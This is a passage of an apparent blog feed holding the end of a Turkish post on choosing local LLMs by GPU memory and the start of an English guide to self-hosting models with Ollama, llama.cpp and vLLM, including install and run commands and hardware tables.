&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Kurumsal Kullan&amp;inodot;m&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 72B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;G&amp;uuml;&amp;ccedil;l&amp;uuml; altyap&amp;inodot;s&amp;inodot; ve a&amp;ccedil;&amp;inodot;k lisans&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="gpu-ve-donanm-eslestirmesi"&gt;GPU ve Donan&amp;inodot;m E&amp;scedil;le&amp;scedil;tirmesi 🛠️&lt;a class="headerlink" href="#gpu-ve-donanm-eslestirmesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ekran kartlar&amp;inodot;n&amp;inodot;n bellek bant geni&amp;scedil;li&amp;gbreve;i ve T&amp;uuml;rkiye fiyatland&amp;inodot;rma detaylar&amp;inodot; i&amp;ccedil;in &lt;a href="/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Yerel LLM'ler &amp;Idot;&amp;ccedil;in En &amp;Idot;yi Ekran Kartlar&amp;inodot; (2026)&lt;/a&gt; yaz&amp;inodot;ma g&amp;ouml;z atabilirsiniz. Elindeki karta g&amp;ouml;re hangi modelleri se&amp;ccedil;ebilirsin:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Ekran Kart&amp;inodot;n&amp;inodot;z&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilece&amp;gbreve;iniz En Mant&amp;inodot;kl&amp;inodot; Modeller&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;4 - 6 GB&lt;/strong&gt; (GTX 1650 / 1060)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gemma 3 1B, Llama 3.2 3B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;8 GB&lt;/strong&gt; (RTX 3060 / 4060)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Llama 3.1 8B, Qwen 2.5 7B, DeepSeek R1 7B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;12 GB&lt;/strong&gt; (RTX 4070)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 14B, DeepSeek R1 14B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;16 GB&lt;/strong&gt; (RTX 4080)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 2.5 14B, DeepSeek R1 14B, Gemma 3 27B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;24 GB&lt;/strong&gt; (RTX 4090)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 32B, DeepSeek R1 32B, Llama 4 Scout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;48 GB+&lt;/strong&gt; (RTX 6000 / &amp;Ccedil;ift GPU)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Qwen 3 72B, Llama 4 Maverick, DeepSeek R1 70B&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="benim-gunluk-duzenim"&gt;Benim G&amp;uuml;nl&amp;uuml;k D&amp;uuml;zenim 💡&lt;a class="headerlink" href="#benim-gunluk-duzenim" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Merak edenler i&amp;ccedil;in, kendi i&amp;scedil; ak&amp;inodot;&amp;scedil;&amp;inodot;mda hangi modelleri nerede kulland&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot; da payla&amp;scedil;ay&amp;inodot;m. E&amp;gbreve;er yerel modellerinizi VS Code gibi edit&amp;ouml;rlere ba&amp;gbreve;lay&amp;inodot;p g&amp;uuml;nl&amp;uuml;k kodlama s&amp;uuml;recinizi otomatikle&amp;scedil;tirmek isterseniz &lt;a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Yerel AI Kurulum Rehberi (LM Studio &amp;amp; VS Code)&lt;/a&gt; k&amp;inodot;lavuzumdan faydalanabilirsiniz.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sabah Kod &amp;Idot;ncelemesi:&lt;/strong&gt; Qwen 3 32B. Kod taban&amp;inodot;n&amp;inodot; analiz ederken olduk&amp;ccedil;a ba&amp;scedil;ar&amp;inodot;l&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Makale ve D&amp;ouml;k&amp;uuml;man &amp;Idot;nceleme:&lt;/strong&gt; Llama 4 Scout. Uzun PDF dosyalar&amp;inodot;n&amp;inodot; haf&amp;inodot;zas&amp;inodot;na tek seferde alabiliyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Karma&amp;scedil;&amp;inodot;k Algoritma &amp;Ccedil;&amp;ouml;z&amp;uuml;mleri:&lt;/strong&gt; DeepSeek R1 14B. D&amp;uuml;&amp;scedil;&amp;uuml;nme ad&amp;inodot;mlar&amp;inodot;n&amp;inodot; izlemek mant&amp;inodot;k hatalar&amp;inodot;n&amp;inodot; g&amp;ouml;rmemi sa&amp;gbreve;l&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;H&amp;inodot;zl&amp;inodot; G&amp;uuml;nl&amp;uuml;k Sorular:&lt;/strong&gt; Gemma 3 12B. Saniyede verdi&amp;gbreve;i kelime h&amp;inodot;z&amp;inodot; muazzam.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ajan Otomasyonlar&amp;inodot;:&lt;/strong&gt; &lt;code&gt;/think&lt;/code&gt; modu a&amp;ccedil;&amp;inodot;k &amp;scedil;ekilde Qwen 3.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="kendi-modelini-test-et-performans-testleri"&gt;Kendi Modelini Test Et (Performans Testleri) ⚙️&lt;a class="headerlink" href="#kendi-modelini-test-et-performans-testleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yay&amp;inodot;nlanan resmi rakamlara g&amp;uuml;venmek zorunda de&amp;gbreve;ilsiniz. Kendi donan&amp;inodot;m&amp;inodot;n&amp;inodot;zda testlerinizi yapabilirsiniz.&lt;/p&gt;
&lt;h3 id="hzl-ckarm-hz-testi"&gt;H&amp;inodot;zl&amp;inodot; &amp;Ccedil;&amp;inodot;kar&amp;inodot;m H&amp;inodot;z&amp;inodot; Testi&lt;a class="headerlink" href="#hzl-ckarm-hz-testi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ollama CLI ile basit bir s&amp;uuml;re &amp;ouml;l&amp;ccedil;&amp;uuml;m&amp;uuml; yap&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;qwen2.5-coder:32b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bir ba&amp;gbreve;l&amp;inodot; listeyi tersine &amp;ccedil;eviren Python kodunu yazar m&amp;inodot;s&amp;inodot;n?"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="lm-studio-arayuzuyle-kyaslama"&gt;LM Studio Aray&amp;uuml;z&amp;uuml;yle K&amp;inodot;yaslama&lt;a class="headerlink" href="#lm-studio-arayuzuyle-kyaslama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;LM Studio i&amp;ccedil;inde yerle&amp;scedil;ik test aray&amp;uuml;z&amp;uuml; bar&amp;inodot;nd&amp;inodot;r&amp;inodot;r.
1.  &lt;strong&gt;Benchmarks&lt;/strong&gt; sekmesine gidin.
2.  &lt;strong&gt;Add Benchmark&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ine t&amp;inodot;klay&amp;inodot;n.
3.  &lt;code&gt;HumanEval&lt;/code&gt;, &lt;code&gt;MMLU&lt;/code&gt; veya &lt;code&gt;LiveCodeBench&lt;/code&gt; testlerinden birini se&amp;ccedil;in.
4.  Modelinizi se&amp;ccedil;ip testi ba&amp;scedil;lat&amp;inodot;n.&lt;/p&gt;
&lt;h3 id="komut-satrndan-detayl-performans-testi-lm-evaluation-harness"&gt;Komut Sat&amp;inodot;r&amp;inodot;ndan Detayl&amp;inodot; Performans Testi (lm-evaluation-harness)&lt;a class="headerlink" href="#komut-satrndan-detayl-performans-testi-lm-evaluation-harness" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Test arac&amp;inodot;n&amp;inodot; indirin ve kurun&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/EleutherAI/lm-evaluation-harness
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lm-evaluation-harness
$&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="c1"&gt;# Kodlama testini yerel API &amp;uuml;zerinden ko&amp;scedil;turun&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;lm_eval&lt;span class="w"&gt; &lt;/span&gt;--model&lt;span class="w"&gt; &lt;/span&gt;localchat&lt;span class="w"&gt; &lt;/span&gt;--model_args&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"temperature=0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--tasks&lt;span class="w"&gt; &lt;/span&gt;humaneval&lt;span class="w"&gt; &lt;/span&gt;--batch_size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;humaneval:&lt;/strong&gt; Python kod &amp;uuml;retme yetene&amp;gbreve;ini &amp;ouml;l&amp;ccedil;er (164 farkl&amp;inodot; algoritma problemi).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mmlu:&lt;/strong&gt; 57 farkl&amp;inodot; konuda genel bilgi birikimini test eder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;aime2024:&lt;/strong&gt; Matematik yar&amp;inodot;&amp;scedil;mas&amp;inodot; sorular&amp;inodot;yla ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme becerisini &amp;ouml;l&amp;ccedil;er.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;gpqadiamond:&lt;/strong&gt; Akademik seviyedeki bilim sorular&amp;inodot;n&amp;inodot; y&amp;ouml;neltir.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="sadede-gelirsek_1"&gt;Sadede Gelirsek&lt;a class="headerlink" href="#sadede-gelirsek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yerel yapay zeka d&amp;uuml;nyas&amp;inodot;nda tek bir "en iyi" model yoktur. En mant&amp;inodot;kl&amp;inodot; yakla&amp;scedil;&amp;inodot;m, elinizdeki donan&amp;inodot;ma ve yapaca&amp;gbreve;&amp;inodot;n&amp;inodot;z i&amp;scedil;e g&amp;ouml;re do&amp;gbreve;ru modeli se&amp;ccedil;mektir. Kodlama i&amp;ccedil;in Qwen, ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme i&amp;ccedil;in DeepSeek, h&amp;inodot;z i&amp;ccedil;in Gemma ve geni&amp;scedil; haf&amp;inodot;za i&amp;ccedil;in Llama 4 do&amp;gbreve;ru tercihlerdir dostum. 🚀&lt;/p&gt;
&lt;p&gt;Kendi i&amp;scedil; ak&amp;inodot;&amp;scedil;&amp;inodot;n&amp;inodot;z&amp;inodot; kurarken tek bir modele her &amp;scedil;eyi yapt&amp;inodot;rmaya &amp;ccedil;al&amp;inodot;&amp;scedil;mak yerine, g&amp;ouml;rev payla&amp;scedil;&amp;inodot;m&amp;inodot; yapmak size hem h&amp;inodot;z kazand&amp;inodot;racak hem de donan&amp;inodot;m kaynaklar&amp;inodot;n&amp;inodot;z&amp;inodot; en verimli &amp;scedil;ekilde kullanman&amp;inodot;z&amp;inodot; sa&amp;gbreve;layacakt&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;DeepSeek-R1 GitHub d&amp;ouml;k&amp;uuml;manlar&amp;inodot;ndaki resmi MATH-500 test verilerinden derlenmi&amp;scedil;tir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;BentoML 2026 y&amp;inodot;l&amp;inodot; a&amp;ccedil;&amp;inodot;k kaynak model kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rma raporundan al&amp;inodot;nm&amp;inodot;&amp;scedil;t&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Qwen2.5-Coder teknik raporundaki HumanEval ve MBPP k&amp;inodot;yaslama verilerine dayanmaktad&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;Till Freitag 2026 yerel model h&amp;inodot;z ve &amp;ccedil;&amp;inodot;kar&amp;inodot;m testlerinden al&amp;inodot;nm&amp;inodot;&amp;scedil;t&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="yapay-zeka"/><category term="yerel-llm"/><category term="deepseek-r1"/><category term="llama-4"/><category term="qwen-3"/><category term="gemma-4"/></entry><entry><title>Self-Hosted LLMs in 2026: Run AI Locally for Privacy &amp; Savings</title><link href="https://yuceltoluyag.github.io/en/yerel-llm-kurulum-rehberi-2026/" rel="alternate"/><published>2026-06-04T22:45:00+03:00</published><updated>2026-06-04T22:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/en/yerel-llm-kurulum-rehberi-2026/</id><summary type="html">&lt;p&gt;We analyze the ways of running AI models on your own system in 2026, hardware requirements, and the most efficient software tools (Ollama, llama.cpp, vLLM).&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last night, after putting the kids to sleep, I took a sip from my tea on the desk and started tweaking my local AI setups. 💻 The privacy of data sent to cloud services and monthly rising API bills had been bothering me for a while. I asked myself, "Why don't we handle all this assistant work on our own local server?"&lt;/p&gt;
&lt;p&gt;This guide is for developers who want to keep their data local, care about privacy, want to avoid API costs, or just love pushing the limits of their own hardware. By the end of this post, you'll see what the local AI landscape looks like in 2026, how to use popular tools like Ollama, llama.cpp, and vLLM, and get a clear picture of hardware requirements, my friend. 🚀&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="why-run-your-own-server-in-2026"&gt;Why Run Your Own Server in 2026? 💰&lt;a class="headerlink" href="#why-run-your-own-server-in-2026" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The balance in the local AI world has shifted completely. Monthly API bills for cloud services (like GPT-4 and Claude) can easily exceed $500 (around 23,000 TL) under active use.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; While the upfront hardware investment seems high, the system pays for itself very quickly. Choosing the right graphics card for your budget is crucial; you can check out my post &lt;a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Best GPUs for Local LLMs in 2026&lt;/a&gt; for a detailed breakdown of graphics cards and budget levels.&lt;/p&gt;
&lt;p&gt;More importantly, privacy is no longer a luxury&amp;mdash;it's a requirement. Who wants their code, company documents, or private conversations to be used by big tech to train their models?&lt;/p&gt;
&lt;p&gt;Models have also improved. Thanks to quantization (compression) techniques, a local 13B (billion parameter) model easily beats the old GPT-3.5 in most daily developer workflows. Often, you don't need the largest model in the world&amp;mdash;you need the right model that gets the job done smoothly.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-three-big-tools-of-local-ai"&gt;The Three Big Tools of Local AI ⚙️&lt;a class="headerlink" href="#the-three-big-tools-of-local-ai" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-ollama-for-those-who-want-simplicity-one-command-setup"&gt;1. Ollama &amp;mdash; For Those Who Want Simplicity (One-Command Setup)&lt;a class="headerlink" href="#1-ollama-for-those-who-want-simplicity-one-command-setup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://ollama.com/" rel="noopener noreferrer" target="_blank"&gt;Ollama&lt;/a&gt; has completely changed the local scene. One line to install, one line to run. It handles downloading the model, putting it into the GPU VRAM, and serving it as a local API all by itself.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Setup (Linux and macOS)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-fsSL&lt;span class="w"&gt; &lt;/span&gt;https://ollama.com/install.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sh

&lt;span class="c1"&gt;# Run a model&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama3.2

&lt;span class="c1"&gt;# List installed models&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ollama automatically detects and utilizes GPU acceleration on Windows, macOS, and Linux. Its library has hundreds of ready-to-run models.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Best For:&lt;/strong&gt; Those who want to get up and running quickly and start coding immediately without dealing with complex configurations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-llamacpp-maximum-performance-and-fine-control"&gt;2. llama.cpp &amp;mdash; Maximum Performance and Fine Control&lt;a class="headerlink" href="#2-llamacpp-maximum-performance-and-fine-control" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank"&gt;llama.cpp&lt;/a&gt; is the core engine of the local AI ecosystem. It is built from scratch in C++ and tuned to get the highest efficiency out of consumer hardware.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Clone the repository and build&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/ggerganov/llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;make

&lt;span class="c1"&gt;# Run a quantized GGUF model&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;./llama-cli&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;models/llama-7b-q4_k_m.gguf&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;256&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;llama.cpp supports more compression formats and is incredibly resource-friendly.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Best For:&lt;/strong&gt; Professionals who want to squeeze the highest speed out of limited hardware and allocate memory with millimetric precision.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-vllm-production-ready-and-multi-user-systems"&gt;3. vLLM &amp;mdash; Production-Ready and Multi-User Systems&lt;a class="headerlink" href="#3-vllm-production-ready-and-multi-user-systems" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://vllm.ai/" rel="noopener noreferrer" target="_blank"&gt;vLLM&lt;/a&gt; is a perfect fit for scaling things up. Thanks to its 'PagedAttention' technology, it can answer requests from multiple users at the same time with a much higher word generation speed.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Serve a model from Hugging Face via vLLM&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;vllm.entrypoints.openai.api_server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--model&lt;span class="w"&gt; &lt;/span&gt;meta-llama/Llama-3.1-8B-Instruct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--dtype&lt;span class="w"&gt; &lt;/span&gt;half&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--tensor-parallel-size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Best For:&lt;/strong&gt; Servers connecting multiple users and high-traffic production setups.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="what-are-the-hardware-requirements_1"&gt;What Are the Hardware Requirements? 📊&lt;a class="headerlink" href="#what-are-the-hardware-requirements" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The most critical point of running a model locally is your graphics card's memory (VRAM).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Size&lt;/th&gt;
&lt;th style="text-align: left;"&gt;VRAM Needed&lt;/th&gt;
&lt;th style="text-align: left;"&gt;GPU Examples&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ideal Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;7B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6 - 8 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 3060, RTX 4070&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Personal assistant, basic coding help&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;13B / 14B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;10 - 16 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 4080, RTX 3090&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Daily developer tasks, better reasoning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;32B / 34B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;24 - 32 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 4090, A6000&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Complex coding and high-quality analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;70B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;80 GB+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;A100, H100 (or 2x RTX 3090)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Deep research, enterprise solutions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Model Squeeze (Quantization):&lt;/strong&gt;
The formula for squeezing models into local systems is compression. Q4 (4-bit) quantization reduces the file size by 75% with almost no noticeable drop in model quality. Q5 quantization is the sweet spot for the balance of speed and intelligence. Q8 quantization gives the closest quality to the original model, but the memory requirement doubles.&lt;/p&gt;
&lt;h3 id="gpu-recommendations-for-2026"&gt;GPU Recommendations for 2026&lt;a class="headerlink" href="#gpu-recommendations-for-2026" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Budget-Friendly:&lt;/strong&gt; NVIDIA RTX 3060 12GB. It can be found in the Turkish market for around 17,400 TL. Runs 7B models comfortably, and 13B models in their compressed state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Price/Performance Peak:&lt;/strong&gt; NVIDIA RTX 4090 24GB. Though it costs around 130,000 TL, it is the most professional way to run compressed 32B-34B models at high speeds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro Level:&lt;/strong&gt; NVIDIA RTX 6000 Ada 48GB. Around 310,000 TL. Carries compressed 70B models all by itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server Grade:&lt;/strong&gt; NVIDIA A100 80GB or H100. Strictly for enterprise and production-centric projects.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="ollama-setup-the-easy-way_1"&gt;Ollama Setup (The Easy Way) 🛠️&lt;a class="headerlink" href="#ollama-setup-the-easy-way" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want to step into local AI the fastest way, start here.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1. Download and install Ollama&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-fsSL&lt;span class="w"&gt; &lt;/span&gt;https://ollama.com/install.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sh

&lt;span class="c1"&gt;# 2. Pull the model file&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;llama3.2

&lt;span class="c1"&gt;# 3. Run the model in terminal&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama3.2

&lt;span class="c1"&gt;# 4. Or start as background API server&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now your local AI is ready.&lt;/p&gt;
&lt;h3 id="python-integration-with-local-model"&gt;Python Integration with Local Model&lt;a class="headerlink" href="#python-integration-with-local-model" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ollama&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ollama&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
